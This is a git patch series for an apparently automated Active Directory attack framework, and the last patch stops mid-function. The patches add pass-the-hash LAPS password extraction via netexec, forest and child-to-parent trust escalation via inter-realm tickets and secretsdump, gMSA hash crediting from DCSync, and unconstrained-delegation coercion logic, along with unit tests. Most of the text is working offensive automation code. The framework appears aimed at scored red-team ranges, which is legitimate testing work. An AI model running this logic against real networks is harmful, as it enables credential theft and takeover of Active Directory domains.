From cdf63df224df97b92fe3edf5b1072277dd48df9e Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 14:10:14 -0600 Subject: [PATCH 1/9] refactor: update acl discovery logic to include dominated domains **Changed:** - Allow ACL discovery to run on dominated domains by removing the early continue condition, enabling enumeration of writeable ACEs for exploitation chains such as acl_abuse, rbcd, shadow_credentials, and gpo_abuse - Updated comments to clarify that ACL discovery is safe and required on dominated domains, while destructive actions remain gated separately --- .../src/orchestrator/automation/acl_discovery.rs | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/acl_discovery.rs b/ares-cli/src/orchestrator/automation/acl_discovery.rs index 5bc554d1..ffb2b7a4 100644 --- a/ares-cli/src/orchestrator/automation/acl_discovery.rs +++ b/ares-cli/src/orchestrator/automation/acl_discovery.rs @@ -48,13 +48,12 @@ fn collect_acl_discovery_work(state: &StateInner) -> Vec { let mut items = Vec::new(); for (domain, dc_ip) in &state.all_domains_with_dcs() { - // Skip dominated domains — once we own a domain there is nothing left - // for ACL escalation to discover there. Cross-trust ACL paths against - // un-owned domains still fire (they iterate other entries in - // all_domains_with_dcs). - if state.dominated_domains.contains(domain) { - continue; - } + // ACL discovery is read-only LDAP enumeration; safe (and required) + // to run on dominated domains so writeable-ACE primitives surface + // and feed the acl_abuse / rbcd / shadow_credentials / gpo_abuse + // chains for scoreboard tokenization. Destructive exploitation is + // still gated separately in `auto_dacl_abuse`. + // // Use separate dedup keys for cred vs hash attempts so a failed // password-based attempt (e.g., mislabeled credential domain) // doesn't permanently block the hash-based path. From 07a7a3b15175daf001d8b6cee80c86f665d5c98f Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 14:12:02 -0600 Subject: [PATCH 2/9] feat: add ntlm hash support for domain-wide laps sweep and laps_dump **Added:** - Support for domain-wide LAPS sweep using NTLM hashes when plaintext passwords are unavailable, enabling pass-the-hash extraction in `auto_laps_extraction` - `nt_hash` field to the LapsWork struct to track hash material for use in LAPS extraction - Passing `nt_hash` in the dispatch payload for LAPS extraction, enabling downstream use in `laps_dump` - Validation in `laps_dump` to require either a password or an NTLM hash as credential input **Changed:** - Updated LAPS extraction workflow to handle both plaintext passwords and NTLM hashes, ensuring deduplication across credential types - Modified credential argument construction in `laps_dump` to support NTLM hash authentication, passing through the hash when present --- ares-cli/src/orchestrator/automation/laps.rs | 60 ++++++++++++++++++++ ares-tools/src/credential_access/misc.rs | 9 ++- 2 files changed, 67 insertions(+), 2 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/laps.rs b/ares-cli/src/orchestrator/automation/laps.rs index 8664448d..2a17f1f2 100644 --- a/ares-cli/src/orchestrator/automation/laps.rs +++ b/ares-cli/src/orchestrator/automation/laps.rs @@ -124,6 +124,7 @@ pub async fn auto_laps_extraction( Some(target_computer.to_string()) }, credential: cred, + nt_hash: None, vuln_id: Some(vuln.vuln_id.clone()), }); } @@ -157,11 +158,63 @@ pub async fn auto_laps_extraction( dc_ip, target_computer: None, credential: cred.clone(), + nt_hash: None, vuln_id: None, }); } } + // Path 2b: Domain-wide LAPS sweep via NTLM hash (pass-the-hash). + // A LAPS-reader principal may only exist in state.hashes (e.g. + // surfaced by secretsdump on the DC) without a plaintext password. + // Treat each NTLM hash as a sweep credential and -H instead of -p. + for h in state.hashes.iter().filter(|h| { + !h.domain.is_empty() + && h.hash_type.to_lowercase() == "ntlm" + && !h.hash_value.is_empty() + && !state.is_delegation_account(&h.username) + && !state.is_principal_quarantined(&h.username, &h.domain) + }) { + // Same dedup key namespace as plaintext sweep so we don't + // re-dispatch for a principal we already covered via password. + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + h.domain.to_lowercase(), + h.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let dc_ip = state + .domain_controllers + .get(&h.domain.to_lowercase()) + .cloned(); + if dc_ip.is_none() { + continue; + } + + items.push(LapsWork { + dedup_key, + domain: h.domain.clone(), + dc_ip, + target_computer: None, + credential: ares_core::models::Credential { + id: String::new(), + username: h.username.clone(), + password: String::new(), + domain: h.domain.clone(), + source: "hash_fallback".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }, + nt_hash: Some(h.hash_value.clone()), + vuln_id: None, + }); + } + // Limit to avoid spamming let limit = if dispatcher.config.strategy.is_comprehensive() { 10 @@ -182,6 +235,9 @@ pub async fn auto_laps_extraction( }, }); + if let Some(ref hash) = item.nt_hash { + payload["nt_hash"] = json!(hash); + } if let Some(ref dc) = item.dc_ip { payload["target_ip"] = json!(dc); payload["dc_ip"] = json!(dc); @@ -229,6 +285,10 @@ struct LapsWork { dc_ip: Option, target_computer: Option, credential: ares_core::models::Credential, + /// Pass-the-hash material when no plaintext password is available. When + /// `Some`, the dispatch payload sets `nt_hash` and downstream `laps_dump` + /// routes to `netexec -H` instead of `-p`. + nt_hash: Option, vuln_id: Option, } diff --git a/ares-tools/src/credential_access/misc.rs b/ares-tools/src/credential_access/misc.rs index 3bf795cb..6b7f4c75 100644 --- a/ares-tools/src/credential_access/misc.rs +++ b/ares-tools/src/credential_access/misc.rs @@ -210,10 +210,15 @@ pub async fn sysvol_script_search(args: &Value) -> Result { pub async fn laps_dump(args: &Value) -> Result { let target = required_str(args, "target")?; let username = required_str(args, "username")?; - let password = required_str(args, "password")?; let domain = required_str(args, "domain")?; + let password = optional_str(args, "password"); + let nt_hash = optional_str(args, "nt_hash"); - let cred_args = credentials::netexec_creds(Some(username), Some(password), None, Some(domain)); + if password.is_none() && nt_hash.is_none() { + anyhow::bail!("laps_dump requires either 'password' or 'nt_hash'"); + } + + let cred_args = credentials::netexec_creds(Some(username), password, nt_hash, Some(domain)); CommandBuilder::new("netexec") .arg("ldap") From 37af88842b95da11b945304dea09ac5820ca8719 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 14:13:02 -0600 Subject: [PATCH 3/9] feat: differentiate intra-forest and inter-forest trust escalation handling **Changed:** - Implemented separate handling for intra-forest (child-to-parent) and inter-forest trust escalations in trust automation logic, including distinct vuln_id, vuln_type, and note descriptions - Updated vulnerability reporting to reflect new escalation distinctions and improve MITRE primitive mapping --- ares-cli/src/orchestrator/automation/trust.rs | 25 ++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/trust.rs b/ares-cli/src/orchestrator/automation/trust.rs index 45f46290..8639cb86 100644 --- a/ares-cli/src/orchestrator/automation/trust.rs +++ b/ares-cli/src/orchestrator/automation/trust.rs @@ -1423,7 +1423,26 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: }; for item in work { - let vuln_id = forest_trust_vuln_id(&item.source_domain, &item.target_domain); + // Trust topology determines the scoreboard tokenization: intra-forest + // (child↔parent) escalations are a different MITRE primitive than + // inter-forest trust exploitation, even though both ride the same + // inter-realm-TGT + secretsdump mechanic here. + let is_intra_forest = !is_inter_forest(&item.source_domain, &item.target_domain); + let vuln_id = if is_intra_forest { + child_to_parent_vuln_id(&item.source_domain, &item.target_domain) + } else { + forest_trust_vuln_id(&item.source_domain, &item.target_domain) + }; + let vuln_type = if is_intra_forest { + "child_to_parent" + } else { + "forest_trust_escalation" + }; + let note_kind = if is_intra_forest { + "Child-to-parent escalation" + } else { + "Forest trust escalation" + }; // Defer dispatch when the target DC IP is unknown: impacket needs // a routable -target-ip for both create_inter_realm_ticket and the @@ -1460,13 +1479,13 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: details.insert( "note".into(), serde_json::Value::String(format!( - "Forest trust escalation via {} trust key — inter-realm ticket + secretsdump", + "{note_kind} via {} trust key — inter-realm ticket + secretsdump", item.hash.username )), ); let vuln = ares_core::models::VulnerabilityInfo { vuln_id: vuln_id.clone(), - vuln_type: "forest_trust_escalation".to_string(), + vuln_type: vuln_type.to_string(), target: trust_target, discovered_by: "trust_automation".to_string(), discovered_at: chrono::Utc::now(), From c42038f93d3ddbab8dd18b3f4e789d7df2aeeb9f Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 14:14:43 -0600 Subject: [PATCH 4/9] feat: add gMSA principal detection and exploit token emission for secretsdump hashes **Added:** - Introduced `is_gmsa_principal` function to identify Group Managed Service Account principals based on naming heuristics - Emitted `gmsa_*` exploit tokens when secretsdump returns gMSA hashes, ensuring incidental gMSA hash captures are credited - Added unit tests for `is_gmsa_principal` covering matching, rejection of non-gMSA machine accounts, and rejection of regular users **Changed:** - Updated hash discovery logic to use `is_gmsa_principal` for marking gMSA hashes as exploited, improving detection and tracking of exploited gMSA accounts --- .../src/orchestrator/result_processing/mod.rs | 37 +++++++++++++++++++ .../orchestrator/result_processing/tests.rs | 25 +++++++++++++ 2 files changed, 62 insertions(+) diff --git a/ares-cli/src/orchestrator/result_processing/mod.rs b/ares-cli/src/orchestrator/result_processing/mod.rs index 2c2876f7..01984810 100644 --- a/ares-cli/src/orchestrator/result_processing/mod.rs +++ b/ares-cli/src/orchestrator/result_processing/mod.rs @@ -390,6 +390,16 @@ pub(crate) fn extract_locked_usernames_from_result( /// Bare `user:pass` (or `Welcome1:` style narrative tokens) are rejected /// because LLM summary text frequently contains `word:` tokens that are /// not principals (e.g. `Notable:`, `username_as_password:`). +/// True when `username` looks like a Group Managed Service Account principal: +/// trailing `$` (machine/service account convention) and the SAM name (with +/// the trailing `$` stripped) contains the substring `gmsa`. Case-insensitive. +/// Matches the same heuristic `auto_gmsa_extraction` uses to recognise gMSA +/// accounts surfaced by enumeration. +fn is_gmsa_principal(username: &str) -> bool { + let trimmed = username.trim_end_matches('$'); + !trimmed.is_empty() && trimmed.len() < username.len() && trimmed.to_lowercase().contains("gmsa") +} + fn parse_lockout_principal(line: &str) -> Option<(String, Option)> { let marker_pos = LOCKOUT_PATTERNS.iter().filter_map(|p| line.find(p)).min()?; let prefix = &line[..marker_pos]; @@ -958,6 +968,33 @@ async fn extract_discoveries( &source, ) .await; + + // gMSA managed-password recovery side-effect: when secretsdump + // returns a Group Managed Service Account hash (account ends + // with `$` and name contains "gmsa"), credit the gMSA primitive + // even though we never went through `auto_gmsa_extraction`. + // Without this, gMSA hashes captured incidentally via DCSync + // never emit a `gmsa_*` token to the exploited set. + if is_gmsa_principal(&username) { + let vuln_id = format!("gmsa_{}", username.trim_end_matches('$').to_lowercase()); + if let Err(e) = dispatcher + .state + .mark_exploited(&dispatcher.queue, &vuln_id) + .await + { + warn!( + err = %e, + vuln_id = %vuln_id, + "Failed to mark gMSA hash as exploited" + ); + } else { + info!( + vuln_id = %vuln_id, + account = %username, + "gMSA hash captured via secretsdump — emitted exploit token" + ); + } + } } Ok(false) => {} Err(e) => warn!(err = %e, "Failed to publish hash"), diff --git a/ares-cli/src/orchestrator/result_processing/tests.rs b/ares-cli/src/orchestrator/result_processing/tests.rs index 9a2c37fb..816a71ca 100644 --- a/ares-cli/src/orchestrator/result_processing/tests.rs +++ b/ares-cli/src/orchestrator/result_processing/tests.rs @@ -1230,3 +1230,28 @@ fn extract_locked_users_rejects_llm_narrative_tokens() { let locked = extract_locked_usernames_from_result(&Some(payload)); assert!(locked.is_empty(), "got false positives: {locked:?}"); } + +#[test] +fn is_gmsa_principal_matches_trailing_dollar_with_gmsa_name() { + use super::is_gmsa_principal; + assert!(is_gmsa_principal("gmsaDragon$")); + assert!(is_gmsa_principal("GMSA_WEB$")); + assert!(is_gmsa_principal("svc_gmsa$")); +} + +#[test] +fn is_gmsa_principal_rejects_machine_account_without_gmsa_substring() { + use super::is_gmsa_principal; + // Plain machine accounts end with $ but are not gMSA. + assert!(!is_gmsa_principal("DC01$")); + assert!(!is_gmsa_principal("WEB01$")); +} + +#[test] +fn is_gmsa_principal_rejects_user_without_trailing_dollar() { + use super::is_gmsa_principal; + // A user named "gmsa_admin" (no trailing $) is a regular user, not gMSA. + assert!(!is_gmsa_principal("gmsa_admin")); + assert!(!is_gmsa_principal("")); + assert!(!is_gmsa_principal("$")); +} From 5058f5ba39bc6cc196b0865fed828d06347deade Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 14:15:21 -0600 Subject: [PATCH 5/9] fix: skip self-coerce on unconstrained delegation when host is also domain controller **Added:** - Added logic to detect and skip attempts to coerce authentication from a DC to itself during unconstrained delegation exploitation, preventing failed exploitation attempts and unnecessary throttling - Added debug logging to indicate when the scenario is subsumed by dc_secretsdump or deferred due to lack of a viable self-coerce path --- .../orchestrator/automation/unconstrained.rs | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/ares-cli/src/orchestrator/automation/unconstrained.rs b/ares-cli/src/orchestrator/automation/unconstrained.rs index aa949aa9..68782274 100644 --- a/ares-cli/src/orchestrator/automation/unconstrained.rs +++ b/ares-cli/src/orchestrator/automation/unconstrained.rs @@ -140,6 +140,39 @@ pub async fn auto_unconstrained_exploitation( dc_ip.as_ref().cloned()? }; + // Skip when the unconstrained host IS the DC we'd coerce from. + // The coerce-and-capture chain requires the DC to authenticate + // to a *different* unconstrained host whose LSASS we then dump + // for the captured TGT. When they're the same machine, both + // PetitPotam (self-loop returns rpc_s_access_denied) and + // PrinterBug (ERROR_INVALID_HANDLE) fail, and even if the + // self-coerce worked, dumping LSASS on the DC requires local + // admin — at which point we already have DA and the dc_secretsdump + // path is the canonical exploitation. Mark exploited only if the + // domain has actually been compromised through secretsdump (the + // dominated_domains signal); otherwise just defer silently so + // the chain isn't burning throttle budget on doomed attempts. + if is_machine + && dc_ip + .as_ref() + .is_some_and(|ip| ip == &host_ip) + { + if state.dominated_domains.contains(&domain.to_lowercase()) { + debug!( + vuln_id = %vuln.vuln_id, + host = %host_ip, + "Unconstrained delegation host == DC — subsumed by dc_secretsdump" + ); + } else { + debug!( + vuln_id = %vuln.vuln_id, + host = %host_ip, + "Unconstrained delegation host == DC — deferring (no self-coerce path)" + ); + } + return None; + } + // Find any non-quarantined credential with a password for this domain. let credential = state .credentials From 4d5d5addf4927e27301cb8ac7f0cf709690c7b24 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 15:02:22 -0600 Subject: [PATCH 6/9] fix: remove unnecessary into_iter calls when chaining vectors **Changed:** - Refactored chaining of vectors in domain validation to remove redundant into_iter calls, improving code clarity and consistency in tool_dispatcher/domain_validator.rs --- ares-cli/src/orchestrator/tool_dispatcher/domain_validator.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ares-cli/src/orchestrator/tool_dispatcher/domain_validator.rs b/ares-cli/src/orchestrator/tool_dispatcher/domain_validator.rs index 77ce7201..6e5237bd 100644 --- a/ares-cli/src/orchestrator/tool_dispatcher/domain_validator.rs +++ b/ares-cli/src/orchestrator/tool_dispatcher/domain_validator.rs @@ -61,8 +61,8 @@ pub(super) async fn check_domain_arg( let mut known: Vec = domains .into_iter() - .chain(dc_keys.into_iter()) - .chain(trusted.into_iter()) + .chain(dc_keys) + .chain(trusted) .map(|d| d.to_lowercase()) .collect(); known.sort(); From f9612d6da556a839c140c576647128773acd4ef8 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 16:02:28 -0600 Subject: [PATCH 7/9] test: add and refactor helper functions with comprehensive unit tests **Added:** - Added `collect_laps_hash_sweep_work` helper to encapsulate LAPS hash sweep filtering and work item construction, with full coverage unit tests - `laps.rs` - Added `build_laps_payload` helper to build the LAPS dispatch payload, with unit tests for optional field handling - `laps.rs` - Added `classify_trust_escalation` helper for mapping trust escalation types to tokens and details, with thorough unit tests - `trust.rs` - Added `skip_self_coerce_loop` helper to encapsulate self-coerce skip logic for unconstrained delegation, with detailed unit tests - `unconstrained.rs` - Added `gmsa_exploit_token` helper to unify gMSA scoreboard token construction, with tests to ensure convergence across discovery paths - `result_processing/mod.rs` - Added test to validate `laps_dump` requires either password or nt_hash for authentication - `ares-tools/src/credential_access/misc.rs` **Changed:** - Refactored LAPS NTLM hash sweep logic in `auto_laps_extraction` to use new `collect_laps_hash_sweep_work` helper for deduplication and testability - `laps.rs` - Refactored LAPS payload construction to use `build_laps_payload` for consistency and test coverage - `laps.rs` - Updated trust follow automation to use `classify_trust_escalation`, unifying scoreboard tokenization and note logic - `trust.rs` - Replaced inline self-coerce skip logic with `skip_self_coerce_loop` for improved clarity and testability - `unconstrained.rs` - Replaced inline gMSA exploit token construction with the new `gmsa_exploit_token` helper to ensure deduplication - `result_processing/mod.rs` --- ares-cli/src/orchestrator/automation/laps.rs | 386 ++++++++++++++---- ares-cli/src/orchestrator/automation/trust.rs | 94 ++++- .../orchestrator/automation/unconstrained.rs | 187 +++++++-- .../src/orchestrator/result_processing/mod.rs | 9 +- .../orchestrator/result_processing/tests.rs | 17 + ares-tools/src/credential_access/misc.rs | 20 + 6 files changed, 588 insertions(+), 125 deletions(-) diff --git a/ares-cli/src/orchestrator/automation/laps.rs b/ares-cli/src/orchestrator/automation/laps.rs index 2a17f1f2..07bf74fe 100644 --- a/ares-cli/src/orchestrator/automation/laps.rs +++ b/ares-cli/src/orchestrator/automation/laps.rs @@ -16,6 +16,7 @@ use tokio::sync::watch; use tracing::{info, warn}; use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::StateInner; /// Dedup key prefix for LAPS extraction. const DEDUP_LAPS: &str = "laps_extract"; @@ -26,6 +27,102 @@ fn is_laps_candidate(vuln_type: &str) -> bool { vtype == "laps_abuse" || vtype == "laps_reader" || vtype == "laps" } +/// Domain-wide LAPS sweep via NTLM hash (pass-the-hash) — a LAPS-reader +/// principal may only exist in `state.hashes` (e.g. surfaced by +/// secretsdump on the DC) without a plaintext password. Treat each NTLM +/// hash as a sweep credential; downstream `laps_dump` routes to +/// `netexec -H` instead of `-p`. +/// +/// Filters mirror Path 2 (plaintext sweep) so a principal already +/// dispatched via password isn't re-dispatched via hash and vice versa: +/// * empty domain — can't pick a DC +/// * non-NTLM hash — `netexec -H` expects NTLM +/// * empty hash value +/// * delegation accounts — reserved for S4U, spraying causes lockout +/// * quarantined principals — currently locked out +/// * already-processed dedup key — sweep was dispatched on a prior tick +/// * no DC IP known for the domain — defer until probe finds one +fn collect_laps_hash_sweep_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + for h in state.hashes.iter().filter(|h| { + !h.domain.is_empty() + && h.hash_type.to_lowercase() == "ntlm" + && !h.hash_value.is_empty() + && !state.is_delegation_account(&h.username) + && !state.is_principal_quarantined(&h.username, &h.domain) + }) { + // Same dedup key namespace as plaintext sweep so we don't + // re-dispatch for a principal we already covered via password. + let dedup_key = format!( + "{DEDUP_LAPS}:sweep:{}:{}", + h.domain.to_lowercase(), + h.username.to_lowercase() + ); + if state.is_processed(DEDUP_LAPS, &dedup_key) { + continue; + } + + let dc_ip = state + .domain_controllers + .get(&h.domain.to_lowercase()) + .cloned(); + if dc_ip.is_none() { + continue; + } + + items.push(LapsWork { + dedup_key, + domain: h.domain.clone(), + dc_ip, + target_computer: None, + credential: ares_core::models::Credential { + id: String::new(), + username: h.username.clone(), + password: String::new(), + domain: h.domain.clone(), + source: "hash_fallback".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }, + nt_hash: Some(h.hash_value.clone()), + vuln_id: None, + }); + } + items +} + +/// Build the dispatch payload for a `laps_dump` work item. Splits out so +/// the optional-field assembly (nt_hash for PTH, dc_ip, target_computer, +/// vuln_id) can be unit-tested without spinning a Dispatcher. +fn build_laps_payload(item: &LapsWork) -> serde_json::Value { + let mut payload = json!({ + "technique": "laps_dump", + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + if let Some(ref hash) = item.nt_hash { + payload["nt_hash"] = json!(hash); + } + if let Some(ref dc) = item.dc_ip { + payload["target_ip"] = json!(dc); + payload["dc_ip"] = json!(dc); + } + if let Some(ref comp) = item.target_computer { + payload["target_computer"] = json!(comp); + } + if let Some(ref vid) = item.vuln_id { + payload["vuln_id"] = json!(vid); + } + payload +} + /// Monitors for LAPS-readable hosts and dispatches password extraction. /// Interval: 45s. Runs after initial credential discovery to avoid wasting /// unauthenticated cycles. @@ -164,56 +261,7 @@ pub async fn auto_laps_extraction( } } - // Path 2b: Domain-wide LAPS sweep via NTLM hash (pass-the-hash). - // A LAPS-reader principal may only exist in state.hashes (e.g. - // surfaced by secretsdump on the DC) without a plaintext password. - // Treat each NTLM hash as a sweep credential and -H instead of -p. - for h in state.hashes.iter().filter(|h| { - !h.domain.is_empty() - && h.hash_type.to_lowercase() == "ntlm" - && !h.hash_value.is_empty() - && !state.is_delegation_account(&h.username) - && !state.is_principal_quarantined(&h.username, &h.domain) - }) { - // Same dedup key namespace as plaintext sweep so we don't - // re-dispatch for a principal we already covered via password. - let dedup_key = format!( - "{DEDUP_LAPS}:sweep:{}:{}", - h.domain.to_lowercase(), - h.username.to_lowercase() - ); - if state.is_processed(DEDUP_LAPS, &dedup_key) { - continue; - } - - let dc_ip = state - .domain_controllers - .get(&h.domain.to_lowercase()) - .cloned(); - if dc_ip.is_none() { - continue; - } - - items.push(LapsWork { - dedup_key, - domain: h.domain.clone(), - dc_ip, - target_computer: None, - credential: ares_core::models::Credential { - id: String::new(), - username: h.username.clone(), - password: String::new(), - domain: h.domain.clone(), - source: "hash_fallback".into(), - discovered_at: None, - is_admin: false, - parent_id: None, - attack_step: 0, - }, - nt_hash: Some(h.hash_value.clone()), - vuln_id: None, - }); - } + items.extend(collect_laps_hash_sweep_work(&state)); // Limit to avoid spamming let limit = if dispatcher.config.strategy.is_comprehensive() { @@ -225,29 +273,7 @@ pub async fn auto_laps_extraction( }; for item in work { - let mut payload = json!({ - "technique": "laps_dump", - "domain": item.domain, - "credential": { - "username": item.credential.username, - "password": item.credential.password, - "domain": item.credential.domain, - }, - }); - - if let Some(ref hash) = item.nt_hash { - payload["nt_hash"] = json!(hash); - } - if let Some(ref dc) = item.dc_ip { - payload["target_ip"] = json!(dc); - payload["dc_ip"] = json!(dc); - } - if let Some(ref comp) = item.target_computer { - payload["target_computer"] = json!(comp); - } - if let Some(ref vid) = item.vuln_id { - payload["vuln_id"] = json!(vid); - } + let payload = build_laps_payload(&item); let priority = dispatcher.effective_priority("laps"); match dispatcher @@ -361,4 +387,218 @@ mod tests { ); assert_eq!(dedup_key, "laps_extract:sweep:contoso.local:svc_admin"); } + + // collect_laps_hash_sweep_work + + fn ntlm_hash(username: &str, domain: &str, value: &str) -> ares_core::models::Hash { + ares_core::models::Hash { + id: String::new(), + username: username.into(), + hash_value: value.into(), + hash_type: "NTLM".into(), + domain: domain.into(), + cracked_password: None, + source: "test".into(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + } + } + + fn state_with_dc(domain: &str, dc_ip: &str) -> StateInner { + let mut s = StateInner::new("op-test".into()); + s.domain_controllers + .insert(domain.to_lowercase(), dc_ip.into()); + s + } + + #[test] + fn laps_hash_sweep_emits_work_item_for_valid_ntlm_hash() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 1); + let item = &work[0]; + assert_eq!(item.domain, "contoso.local"); + assert_eq!(item.dc_ip.as_deref(), Some("192.168.58.10")); + assert_eq!(item.nt_hash.as_deref(), Some("abcd1234")); + assert_eq!(item.credential.username, "alice"); + assert_eq!(item.credential.password, ""); + assert_eq!(item.credential.source, "hash_fallback"); + assert!(item.vuln_id.is_none()); + assert!(item.target_computer.is_none()); + assert_eq!(item.dedup_key, "laps_extract:sweep:contoso.local:alice"); + } + + #[test] + fn laps_hash_sweep_skips_empty_domain() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes.push(ntlm_hash("alice", "", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_non_ntlm_hash_type() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + let mut h = ntlm_hash("alice", "contoso.local", "abcd1234"); + h.hash_type = "aes256".into(); + s.hashes.push(h); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_empty_hash_value() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes.push(ntlm_hash("alice", "contoso.local", "")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_when_no_dc_for_domain() { + // No DC registered for the domain — defer until host scan finds it. + let mut s = StateInner::new("op-test".into()); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_quarantined_principal() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.quarantine_principal("alice", "contoso.local"); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_delegation_account() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + // Register the principal as a constrained-delegation account so + // `is_delegation_account` returns true for it. + let mut details = std::collections::HashMap::new(); + details.insert( + "account_name".into(), + serde_json::Value::String("svc_web".into()), + ); + s.discovered_vulnerabilities.insert( + "vuln-deleg".into(), + ares_core::models::VulnerabilityInfo { + vuln_id: "vuln-deleg".into(), + vuln_type: "constrained_delegation".into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + }, + ); + s.hashes + .push(ntlm_hash("svc_web", "contoso.local", "abcd1234")); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_skips_already_processed_dedup_key() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.mark_processed(DEDUP_LAPS, "laps_extract:sweep:contoso.local:alice".into()); + assert!(collect_laps_hash_sweep_work(&s).is_empty()); + } + + #[test] + fn laps_hash_sweep_normalizes_case_in_dedup_lookup() { + // Hash carries mixed-case domain/username but the DC lookup and + // dedup key go through `.to_lowercase()` — the work item is still + // emitted. + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("Alice", "CONTOSO.LOCAL", "abcd1234")); + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "laps_extract:sweep:contoso.local:alice"); + } + + #[test] + fn laps_hash_sweep_emits_one_item_per_eligible_hash() { + let mut s = state_with_dc("contoso.local", "192.168.58.10"); + s.hashes + .push(ntlm_hash("alice", "contoso.local", "abcd1234")); + s.hashes.push(ntlm_hash("bob", "contoso.local", "deadbeef")); + let work = collect_laps_hash_sweep_work(&s); + assert_eq!(work.len(), 2); + } + + // build_laps_payload + + fn work_item(nt_hash: Option<&str>) -> LapsWork { + LapsWork { + dedup_key: "laps_extract:sweep:contoso.local:alice".into(), + domain: "contoso.local".into(), + dc_ip: Some("192.168.58.10".into()), + target_computer: None, + credential: ares_core::models::Credential { + id: String::new(), + username: "alice".into(), + password: "P@ssw0rd!".into(), + domain: "contoso.local".into(), + source: "test".into(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + }, + nt_hash: nt_hash.map(str::to_string), + vuln_id: None, + } + } + + #[test] + fn build_laps_payload_omits_nt_hash_when_password_only() { + let payload = build_laps_payload(&work_item(None)); + assert_eq!(payload["technique"], "laps_dump"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["credential"]["username"], "alice"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); + assert!(payload.get("nt_hash").is_none()); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["dc_ip"], "192.168.58.10"); + } + + #[test] + fn build_laps_payload_includes_nt_hash_for_pth() { + let payload = build_laps_payload(&work_item(Some("abcd1234"))); + assert_eq!(payload["nt_hash"], "abcd1234"); + // Other fields stay intact. + assert_eq!(payload["technique"], "laps_dump"); + assert_eq!(payload["dc_ip"], "192.168.58.10"); + } + + #[test] + fn build_laps_payload_includes_optional_target_computer_and_vuln_id() { + let mut item = work_item(None); + item.target_computer = Some("ws01.contoso.local".into()); + item.vuln_id = Some("vuln-laps-1".into()); + let payload = build_laps_payload(&item); + assert_eq!(payload["target_computer"], "ws01.contoso.local"); + assert_eq!(payload["vuln_id"], "vuln-laps-1"); + } + + #[test] + fn build_laps_payload_omits_dc_ip_when_unknown() { + let mut item = work_item(None); + item.dc_ip = None; + let payload = build_laps_payload(&item); + assert!(payload.get("target_ip").is_none()); + assert!(payload.get("dc_ip").is_none()); + } } diff --git a/ares-cli/src/orchestrator/automation/trust.rs b/ares-cli/src/orchestrator/automation/trust.rs index 8639cb86..a39f3674 100644 --- a/ares-cli/src/orchestrator/automation/trust.rs +++ b/ares-cli/src/orchestrator/automation/trust.rs @@ -40,6 +40,33 @@ fn forest_trust_vuln_id(source_domain: &str, target_domain: &str) -> String { ) } +/// Maps a `source → target` trust escalation to its scoreboard tokens: +/// the `vuln_id`, the `vuln_type` enum used by the exploit gate, and the +/// human-readable note prefix written into the vulnerability details. +/// +/// Intra-forest (child↔parent) and inter-forest are distinct MITRE +/// primitives — both ride the inter-realm-TGT + secretsdump mechanic +/// internally, but downstream scoreboard tokenization, suppression rules +/// (SID filtering), and exploitation gates branch on this distinction. +fn 